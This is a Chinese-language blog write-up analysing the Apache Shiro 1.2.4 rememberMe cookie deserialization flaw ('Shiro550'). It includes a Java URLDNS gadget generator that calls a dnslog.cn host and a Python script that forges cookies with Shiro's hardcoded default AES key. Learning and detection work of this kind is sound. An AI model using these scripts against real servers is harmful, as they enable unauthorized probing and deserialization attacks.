好久没写了, 写一个Shiro550的加密分析

参考

https://www.bilibili.com/video/BV1iF411b7bD/?spm_id_from=333.788&vd_source=d3761bfc1ec1605b713147f954cd2f3c

https://blog.csdn.net/xhy18634297976/article/details/122794612

shiro的安装等步骤根据白日梦组长的视频来, 这里直接分析

shiro 1.2.4项目结构如下

image-20240318195334316

直接从头审计不太可能, 我们根据shiro550的漏洞触发点来自Cookie中的rememberme字段, 我们搜索项目中的cookie

image-20240318195348561

找到了第二个class, 进去看看结构和方法, 并大致看一遍, 可以找到其中比较关键的rememberSerializedIdentitygetRememberedSerializedIdentity这两个方法, 前一个将数据进行了base64并赋给cookie , 另一个则是从cookie中取出数据并base64解码

我们需要知道base64上一步是什么, 所以我们向上查找rememberSerializedIdentity的用法, 也就是哪里调用了它, 找到了rememberIdentity方法, 继续查找用法找到另一个重载的rememberIdentity方法中, 里面调用getPrincipals方法给principals赋了值

image-20240318200424398

rememberIdentity方法

principals身份,即主体的标识属性, 这里应该表示的就是cookie中存放的身份识别

image-20240318202016986

​ 重载的rememberIdentity方法

继续向上查找, 在onSuccessfulLogin中调用了rememberIdentity, 如果isRememberMe(token)成立, 则继续调用, 这里判断的就是是否选择了remenberme, 之后就会按照上面倒过来的顺序一步步进入序列化

image-20240318204741159

摸清楚调用顺序后, 我们回过头来在寻找其中的加密的地方

跟进rememberIdentity中的convertPrincipalsToBytes, 这个方法将身份认证序列化后进行了加密getCipherService最后指向了AbstractRememberMeManager类的构造函数, 在里面对cipherService赋值了AesCipherService

AesCipherService类里面有一些aes加密的参数, 可以猜测shiro的加密方式是将认证序列化后进行了aes加密, 最后base64一下放在了cookie中, 后面验证猜想正确

image-20240318200759805

image-20240318211725384

image-20240318201006869

看完条件, 继续跟进encrypt

image-20240318201327066

重点看这一句, 第二个参数明显是加密的密钥

1
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());

第二个参数重点关注, 我们跟进去发现是一个返回的变量, 查找用法, 在写入里面发现了对其赋值的setEncryptionCipherKey方法, 继续查找用法找到setCipherKey方法, 继续查找, 最终找到

1
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);

而这个DEFAULT_CIPHER_KEY_BYTES是一个常量
image-20240318212506366

最后关注encrept方法, 我点击进去发现是个接口, 看不了具体方法, 所以开了调试, 这样就可以跟进了, 进入JcaCipherService类, 代码如下

image-20240318213056726

iv在aes加密中是初始向量, 一般是随机生成, 这里跟进最后得到ivBytes的生成为一个随机数

image-20240318213719957

最后得到一个16位长的数组

image-20240318213829744

一直跟进, 可以得到加密类型, 确实是AES加密, 使用iv作为初始向量, CBC方法

image-20240318214212833

参数已知, 加密算法已知, 剩下的就是复刻一个算法了

这里补充一嘴, iv作为随机数, 每次的值都不是一样的, 那么解密过程应该用不到iv

然后注意一下, shiro中的加密不是单纯的aes加密, 在encrypt方法中, 我们可以发现其返回结果不止是加密后的密文, 还包括了16位的iv, 也就是base64(iv+encrypted)

image-20240318221243193

这样的话, 我们对一般的aes加密程序做一下修改, 在base64里面的前面多加一个iv就行了(因为iv的值会被去掉, 留下后面的那部分进去aes的解密)

我尝试了加入16位的其他数据, 利用失败了, 说明还是会检测一下前面16位和iv的对应关系

使用urldns的链子打一下

生成反序列化数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package exp;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS_exp {
public static void main(String[] args) throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL("http://6ccnx1.dnslog.cn");
Class clazz = url.getClass();
Field hashCode = clazz.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 1234);
hashMap.put(url, 1);
hashCode.set(url, -1);

serialize(hashMap);
// unserialize("url.ser");

}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url.ser"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

对数据加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Cipher import AES
import uuid
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
import base64

def generate_key():
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
return key

def encrypt(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
fake = b'a' * 16
print(type(fake))
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, mode, iv)
ciphertext = base64.b64encode(iv + cipher.encrypt(pad(data)))
return ciphertext # 返回密文

if __name__ == "__main__":
plaintext = b"HelloAES" # 待加密的明文
with open("D:\\ctf\\web_tools\\2_JAVA_tools\\Yso_src\\ysoserial\\url.ser", "rb") as f:
text = f.read()
encdata = encrypt(text)
print(encdata)

这里没打cb链子, 主要是我还没学, 可以用来检测是否存在shiro550

总结下来用到的只有加密和解密的分析, 反序列化入口就在Deserializatie那里, 后续就是常规反序列化链子, 比cc链分析都简单